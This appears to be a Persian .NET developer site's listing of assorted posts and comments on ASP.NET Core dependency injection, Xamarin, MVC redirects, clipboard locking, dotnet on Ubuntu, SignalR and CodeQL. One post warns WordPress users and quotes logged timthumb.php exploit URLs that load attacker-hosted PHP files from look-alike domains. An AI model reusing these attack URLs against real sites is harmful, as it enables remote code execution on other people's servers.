نظرات مطالب
مهارت‌های تزریق وابستگی‌ها در برنامه‌های NET Core. - قسمت چهارم - پرهیز از الگوی Service Locator در برنامه‌های وب
ارتقاء به ASP.NET Core 3.0: محدود شدن امکان تزریق وابستگی‌ها در سازنده‌ی کلاس آغازین برنامه

یکی از تغییرات مهم ASP.NET Core 3.0 نسبت به نگارش‌های قبلی، جنریک شدن Host آن است (چون حالت‌های هاستینگ بیشتری را نسبت به حالت صرف MVC پشتیبانی می‌کند). به این ترتیب HostBuilder نگارش 2x:
public static IWebHostBuilder CreateWebHostBuilder(string[] args) =>
                 WebHost.CreateDefaultBuilder(args)
                 .UseStartup<Startup>();
اکنون در نگارش 3x به این صورت در آمده‌است:
public static IHostBuilder CreateHostBuilder(string[] args) =>
               Host.CreateDefaultBuilder(args)
                     .ConfigureWebHostDefaults(webBuilder =>
                     {
                        webBuilder.UseStartup<Startup>();
                     });
این مورد، یک تغییر مهم را هم در وضعیت تزریق وابستگی‌های سفارشی در کلاس آغازین برنامه ایجاد کرده‌است: در نگارش 3x، فقط و فقط سرویس‌های IHostEnvironment ،IWebHostEnvironment و IConfiguration را می‌توانید به سازنده‌ی کلاس آغازین آن تزریق کنید.
علت اینجا است که در ASP.NET Core 3x، یک باگ بسیار مهم سیستم تزریق وابستگی‌های ASP.NET Core برطرف شده‌است: اکنون فقط یک dependency injection container به ازای کل برنامه‌ی ASP.NET Core 3x ساخته می‌شود. در نگارش‌های قبلی، یک container برای برنامه و یک container مجزا برای host تولید می‌شدند. در این حالت اگر یک سرویس Singleton را در فایل program.cs معرفی می‌کردید:
WebHost.CreateDefaultBuilder()
             .UseStartup<Startup>()
             .ConfigureServices(services => 
                     services.AddSingleton<MySingleton>())
             .Build()
             .Run();
برخلاف تصور، این سرویس Singleton رفتار نمی‌کرد؛ چون همانطور که عنوان شد، دو container، برنامه را مدیریت می‌کردند (یعنی دوبار توسط دو ظرف متفاوت نگهدارنده‌ی اشیاء، وهله سازی می‌شد) که اکنون در نگارش 3x به یک مورد کاهش یافته‌است.
در اینجا هرچند متد ConfigureServices وجود دارد، اما اگر از آن استفاده کنید، سرویس معرفی شده‌ی توسط آن، در سازنده‌ی کلاس Startup شناسایی نمی‌شود.
نظرات مطالب
معرفی Xamarin و مزیت‌های استفاده از آن
این که عرض کردم حجم 3 الی 4 مگابایتی از نظر کاربران زیاد قابل قبول نیست به دلیل آماری است که از دوستان و آشنایانی که نرم افزار را برایشان جهت تست ارسال می‌نمودم بدستم رسیده است(در نسخه‌های بعدی با اندروید استودیو حجم کاهش زیادی پیدا نمود و یک سری باگ عجیب و غریب که منشا آنها را هنوز هم نمیدانم رفع شدند). که صد البته جامعه آماری بزرگی نیست و نتیجه آنرا براحتی نمی‌توان به کل جامعه تعمیم داد. بنده چندین app در مارکتهای داخلی منتشر نمودم که همگی زیر 2.3 مگابایت حجم دارند و اتفاقا بیشتر هم Game هستند و با گرافیک خوب. برای مثال اگر سودوکو 2 را در بازار(امیدوارم تصور نشود که قصد تبلیغ دارم) مشاهده نمایید میبینید که نرم افزار با این کیفیت و با این حجم نمی‌تواند خروجی Xamarin باشد. اگر تصور شود که از روی تعصب صحبتی میکنم باید بگویم که اتفاقا اگر تعصبی هم وجود داشته باشد نسبت به سی شارپ است نه جاوا. 
در مورد بحث CrossPlatform و کاهش هزینه‌ها برای شرکتهای کوچک و با بودجه محدود به طور حتم Xamarin برنده است. اما شرکتهای بزرگ اغلب رغبتی به استفاده از Xamarin ندارند. برای مثال تلگرام...
البته استفاده بنده از Xamarin قبل از خریداری آن توسط مایکروسافت هست و امیدوارم با کار مایکروسافت روی این تکنولوژی دیگر خبری از باگهای عجیب و غریبی که بنده را فراری دادند نباشد و بتوانم با زبان بسیار عالی و دوست داشتنی سی شارپ هم app موبایل تولید نمایم.(برای نرم افزارهای موبایل سازمانی انتخاب مناسبی هست)
مطالب
اجرای کد از راه دور
مدتی هست که با بررسی لاگ‌های خطای برنامه سایت، به این نوع لینک‌ها(ی یافت نشد) می‌رسم:
 http://www.thissite.info/wp-themes_page/netweb/timthumb.php?src=http://wordpress.com.4creatus.com/info.php
http://www.thissite.info/pivotx/includes/timthumb.php?src=http://picasa.com.ganesavaloczi.hu/jos.php
http://www.thissite.info/pivotx/includes/timthumb.php?src=http%3A%2F%2Fflickr.com.topsaitebi.ge%2Fcpx.php
http://www.thissite.info/pivotx/includes/timthumb.php?src=http%3A%2F%2Fpicasa.com.fm-pulizie.it%2Fxgood.php
http://www.thissite.info/pivotx/includes/timthumb.php?src=http%3A%2F%2Fflickr.com.showtimeentertainment.ca%2Fstunxx.php
و نکته جالب این‌ها، وجود خارجی داشتن سایتی مانند http://wordpress.com.4creatus.com/ است. ابتدای نام دومین را هم با wordpress.com یا flickr.com شروع کرده‌اند تا آنچنان مشکوک به نظر نرسد.
به نظر این مساله باگی است در فایل timthumb.php بلاگ‌های وردپرس که دارد مورد سوء استفاده واقع می‌شود. به عبارتی این فایل خاص، به علت داشتن باگ امنیتی، امکان اجرای کد از راه دور را فراهم کرده است. برای نمونه اگر به آدرس مذکور مراجعه کنید فایل‌های php آن قابل دریافت و بررسی هستند. این فایل‌ها در ابتدای کار دارای هدر Gif بوده و در ادامه دارای کد PHP هستند. کدهای آن هم ابتدا base64 encoded شده‌اند و سپس gzip encoded.

در کل جهت اطلاع کلیه کسانی که از وردپرس استفاده می‌کنند برای بررسی وضعیت سایت یا بلاگ خودشان.
 
مطالب
نحوه اجباری کردن استفاده از WWW در ASP.NET MVC
دو آدرس www.site.com و site.com را درنظر بگیرید. در حالت متداول، هر دو به یک معنا هستند و هر دو به ریشه یک سایت اشاره می‌کنند؛ اما از دیدگاه مسایل اعتبار سنجی، خیر. کوکی‌های این دو یکسان نبوده و برای کاربران مشکل ساز خواهند شد. کاربری که از طریق آدرس site.com به سایت وارد شده، زمانیکه به لینک مفروض www.site.com وارد می‌شود (مثلا یکی از کاربران در بین مطالب ارسالی به این آدرس لینک داده) دیگر حالت لاگین قبلی خود را نخواهد داشت و به این ترتیب تصور می‌کند که سایت باگ دارد.
برای رفع این مشکل می‌توان کلیه کاربرانی را که به آدرس site.com وارد می‌شوند، به صورت خودکار به آدرس www دار آن هدایت کرد و مدیریت آدرس‌های سایت را یک دست و یکنواخت نمود:
using System.Web.Mvc;
 
namespace WebToolkit
{
    /// <summary>
    /// Ensure all of the asp.net mvc urls have www.
    /// </summary>
    public class MandatoryWww : ActionFilterAttribute
    {
        public override void OnActionExecuting(ActionExecutingContext filterContext)
        {
            if (!filterContext.RequestContext.HttpContext.Request.IsLocal)
            {
                string url = filterContext.RequestContext.HttpContext.Request.Url.AbsoluteUri.ToLowerInvariant();
                if (!url.Contains("www"))
                {
                    url = url.Replace("http://", "http://www.");
                    url = url.Replace("https://", "https://www.");
                    filterContext.Result = new RedirectResult(url, true);
                }
            }
            base.OnActionExecuting(filterContext);
        }
    }
}
و برای استفاده از آن در فایل global.asax.cs برنامه خواهیم داشت:
public static void RegisterGlobalFilters(GlobalFilterCollection filters)
{            
    filters.Add(new MandatoryWww());
}

 
مطالب
بدست آوردن نام پروسه‌ای که Clipboard را قفل کرده است

امروز Clipboard‌ سیستم عمل نمی‌کرد و عملیات حیاتی copy/paste از کار افتاده بود! پس از کمی جستجو مشخص شد که به صورت زیر می‌توان نام پروسه‌ای که Clipboard را باز و قفل کرده و مانع عملکرد سایر برنامه‌ها می‌شود، بدست آورد:

using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Diagnostics;

namespace testWinForms87
{
class CTestClipboard
{
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetOpenClipboardWindow();

[DllImport("user32.dll", SetLastError = true)]
private static extern uint GetWindowThreadProcessId(
IntPtr hWnd,
out uint lpdwProcessId);

public static void TrySetData()
{
try
{
Clipboard.SetData(DataFormats.Text, "وحید");
}
catch
{
IntPtr hwnd = GetOpenClipboardWindow();
if (hwnd == IntPtr.Zero) return;
uint pid;
GetWindowThreadProcessId(hwnd, out pid);
MessageBox.Show(string.Format("clipboard is locked by: {0}",
Process.GetProcessById((int)pid).Modules[0].FileName));
}
}
}
}
با استفاده از تابع GetOpenClipboardWindow دستگیره پنجره‌ای که این‌کار را کرده یافت می‌شود و سپس با استفاده از GetWindowThreadProcessId می‌توان id آن پروسه را یافت. سپس با کمک متد Process.GetProcessById امکان بدست آوردن اطلاعات بیشتری از آن پروسه میسر می‌گردد.



به نظر این یک باگ در VPC است.
اگر از MS Virtual PC استفاده می‌کنید و این اتفاق رخ داد، داخل سیستم عاملی که توسط VPC در حال اجرا است، یک متن ساده را کپی کنید. سپس به منوی برنامه VPC ، گزینه edit مراجعه کرده و در ادامه گزینه Paste را انتخاب کنید. به این صورت بدون نیاز به بستن برنامه یا هر عملیات دیگری مشکل برطرف می‌شود.

مطالب
نصب dotnet core framework روی اوبونتو 16.04
مایکروسافت در چند سال اخیر و به خصوص بعد از روی کار آمدن ساتیا نادلا،  رویکرد خاصی را به مباحث Cross Platform پیدا کرد، تا جایی که dotnet core شکل گرفت. این فناوری جدید به شما این امکان را میدهد تا دات نت فریمورک را بر روی سیستم عامل‌های دیگری چون لینوکس و مک نصب کنید. در سایت اختصاصی این فناوری،  نحوه نصب آن بر روی توزیع‌های مختلف سیستم عامل  لینوکس،  توضیحاتی داده شده است و یکی از این آموزش‌ها مربوط به پرچم دار توزیع‌های لینوکس و به خصوص خانواده دبیان یعنی اوبونتو است. در این راهنما، تنها نسخه خاصی از اوبونتو یعنی نسخه 14.04 آن مدنظر می‌باشد ولی آخرین نسخه اوبونتو 16.04 است که در اینباره توضیحی داده نشده است و با نصب آن به مشکل بر می‌خورد. در این مقاله میخواهیم نصب dotnet core را بر روی آخرین نسخه این سیستم عامل، بررسی کنیم.

با توجه به ابتدای آموزش، کدهای زیر را در ترمینال وارد میکنیم:
sudo sh -c 'echo "deb [arch=amd64] https://apt-mo.trafficmanager.net/repos/dotnet/ trusty main" > /etc/apt/sources.list.d/dotnetdev.list'

sudo apt-key adv --keyserver apt-mo.trafficmanager.net --recv-keys 417A0893

sudo apt-get update
اولین خط از لینوکس، مخزنی را که فایل‌های مربوط به دات نت، در آن قرار دارند، در لینوکس ثبت می‌کند. دستور sh وظیفه‌ی اجرای اسکریپت را بر عهده دارد که میتوانید یک فایل اسکریپت را به آن معرفی کنید. ولی اگر با سوپیچ c به کار رود، می‌توانید خود دستور ارسالی را به آن معرفی کنید. اجرای این اسکریپت منجر به معرفی مخازن دات نت می‌شود که میتواند برای نصب و به روزرسانی آن به کار رود. در ساختار فایل‌های خانواده‌ی دبیان، فایلی به نام Sources.list وجود دارد که شامل آدرس مخازن رسمی اوبونتو جهت دریافت نرم افزاری‌ها آن می‌شود. ولی اگر قرار باشد مخازنی جدای از مخازن رسمی معرفی گردند، باید داخل دایرکتوری sources.list.d قرار گیرند و با نامی مشخص و با همان فرمت مشخص، ذخیره گردند.

در خط  دوم،  کلید اختصاصی این پکیج جهت اعتبارسنجی معرفی می‌گردد که در سایت جاری قبلا به آن پرداخته شده است. در خط آخر هم مخازن موجود را به روزرسانی می‌کنیم تا آماده استفاده شود.
در سایت مایکروسافت از شما خواسته می‌شود که کد زیر را وارد کنید:
sudo apt-get install dotnet-dev-1.0.0-preview1-002702
ولی بهتر است به جای آن از جدیدترین بسته استفاده کنید که باگ آن رفع شده است و علت باگ قبلا به آن پرداخته شده است. پس کد زیر را به جای کد بالا وارد می‌کنیم:
sudo apt-get install dotnet-dev-1.0.0-preview2-003096
چه بسته قبلی و چه جدید را نصب کنید، به خطای زیر برخورد خواهید کرد:
The following packages have unmet dependencies:
 dotnet-dev-1.0.0-preview1-002702 : Depends: dotnet-sharedframework-microsoft.netcore.app-1.0.0-rc2-3002702 but it is not going to be installed
E: Unable to correct problems, you have held broken packages.
که برای حل آن، باید ابتدا بسته‌ی وابسته نصب گردد و سپس دستور بالا دوباره اجرا شود. برای دریافت این وابستگی، به این لینک مراجعه کنید و فایل مربوطه را که با پسوند deb است، دریافت کنید. بعد از آن باید فایل دریافتی را نصب نمایید که برای نصب این نوع بسته‌ها از دستور زیر استفاده می‌کنیم:
sudo dpkg -i libicu52_52.1-3ubuntu0.4_amd64.deb
بعد از نصب موفقیت آمیز این بسته، دستورات زیر را اجرا میکنیم تا بسته dotnet core نصب شود:
sudo apt-get install dotnet-sharedframework-microsoft.netcore.app-1.0.0-rc2-3002702
sudo apt-get install dotnet-dev-1.0.0-preview2-003096
بعد از اتمام نصب، دستور زیر را جهت اطمینان از صحت نصب وارد کنید، تا نسخه نصب شده جاری به شما نمایش داده شود:
dotnet --version
خروجی:
1.0.0-preview2-003096
البته ممکن است خروجی دفعه اول به خاطر پیام‌های خوش آمدگویی، خطوط بیشتری را داشته باشد، ولی برای دفعات آینده همین یک خط است.
بازخوردهای دوره
بررسی Semantic Search و FTS Table-valued functions
در ابتدای متن توضیح دادم: «همچنین باید دقت داشت که تمام زبان‌های پشتیبانی شده توسط FTS در حالت Semantic Search پشتیبانی نمی‌شوند. برای بررسی این مورد، دو کوئری ذیل را اجرا نمائید». فقط زبان‌هایی که حاصل گزارش زیر هستند Semantic Search در مورد آن‌ها صادق است:
(زبان عربی در FTS پشتیبانی می‌شود؛ اما نه در Semantic Search) 
SELECT * FROM sys.fulltext_semantic_languages ORDER BY name
بازخوردهای دوره
صفحات مودال در بوت استرپ 3
فرمی که Ajax ایی به سرور ارسال می‌شود قابلیت ارسال فایل ندارد. HttpPostedFileBase بر مبنای post back کامل کار می‌کند.
نمی‌شود از Ajax معمولی (یا به عبارتی XMLHttpRequest) برای ارسال فایل استفاده کرد. یا باید از سیلورلایت یا فلش استفاده کنید، یا از مرورگرهایی که XMLHttpRequest Level 2 را پشتیبانی کنند (از IE 10 به بعد مثلا)، امکان Ajax upload توکار به همراه گزارش درصد آپلود را بدون نیاز به فلش یا سیلورلایت، دارند.یک نمونه پیاده سازی آن  
بازخوردهای دوره
ارتباطات بلادرنگ و SignalR
به نظر اسکریپت‌های آن بارگذاری نشده‌اند. در کروم روی دکمه F12 کلیک کنید تا کنسول آن ظاهر شود. بعد بررسی کنید آیا خطایی در برگه network آن گزارش شده یا حتی در کنسول لاگ‌های آن که خطاهای جاوا اسکریپتی را نمایش می‌دهد. با فایرباگ هم می‌شود این نوع برنامه‌ها را دیباگ کرد.
اطلاعات بیشتر: «عیب یابی و دیباگ برنامه‌های SignalR »
همچنین این مثال‌ها را از اینجا نیز می‌توانید دریافت کنید: SignalRSamples.zip  
نظرات اشتراک‌ها
چگونه به مخازن کد GitHub، ابزار بررسی کیفیت کدهای CodeQL را اضافه کنیم؟
به صورت خلاصه، دو فایل «codeql.yml » و « codeql-config.yml » را به پوشه‌ی github/workflows. اضافه کنید. نتیجه‌ی آن در برگه‌ی security، فقط برای صاحب مخزن کد قابل مشاهده خواهد بود:

مشکلات گزارش شده‌ی توسط آن، خروجی فوق العاده‌ای هم دارد؛ به همراه توضیح و مثال:

  اگر خواستید از موردی صرفنظر کند، rule id فوق را به فایل codeql-config.yml، اضافه کنید.